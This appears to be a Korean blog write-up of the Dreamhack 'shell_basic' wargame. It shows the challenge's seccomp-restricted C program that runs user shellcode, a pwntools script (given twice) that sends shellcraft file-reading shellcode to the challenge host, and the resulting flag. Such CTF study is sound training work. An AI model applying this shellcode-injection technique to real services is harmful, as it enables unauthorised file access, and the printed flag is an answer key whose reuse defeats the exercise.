https://dreamhack.io/wargame/challenges/410
입력한 셸코드를 실행하는 프로그램이 서비스로 등록되어 작동하고 있습니다.
main 함수가 아닌 다른 함수들은 execve, execveat 시스템 콜을 사용하지 못하도록 하며, 풀이와 관련이 없는 함수입니다.
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
감 잡기 어려우신 분들은 아래 코드를 가지고 먼저 연습해보세요!
플래그 형식은 DH{...} 입니다. DH{와 }도 모두 포함하여 인증해야 합니다.
shell_basic 문제
source courde
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
pwn의 shellcraft를 사용하여 파이썬코드를 작성
from pwn import *
context.log_level = "debug"
r = remote("host3.dreamhack.games", 20176)
context(arch='amd64', os='linux')
sh = pwnlib.shellcraft.cat("/home/shell_basic/flag_name_is_loooooong", fd=1)
r.sendlineafter("shellcode: ", asm(sh))
r.recvline()
r.interactive()
flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong입니다.
파일 위치를 이쪽으로 지정하여 넣게되면 쉘코드를 실행하면서 디버깅이되고
문제의 답인 flag의 값이 출력된다.
b'DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'
답
DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n'
from pwn import *
context.log_level="debug"
p = remote('host3.dreamhack.games', 20176)
context (arch='amd64', os='linux')
sh = pwnlib.shellcraft.cat("/home/shell_basic/flag_name_is_loooooong", fd=1)
p.sendlineafter("shellcode:", asm(sh))
p.recvline()
p.interactive()
python 코드 2 나중에 한번 더풀어보기
'시스템 해킹' 카테고리의 다른 글
HackerSchool FTZ - 3 (0) | 2024.05.23 |
---|---|
HackerSchool FTZ - 2 (0) | 2024.05.23 |
HackerSchool FTZ - 1 (0) | 2024.05.23 |
HackerSchool FTZ trainning 전체 (0) | 2024.05.23 |
포멧스트링 버그 - 데이터쓰기 (0) | 2024.05.19 |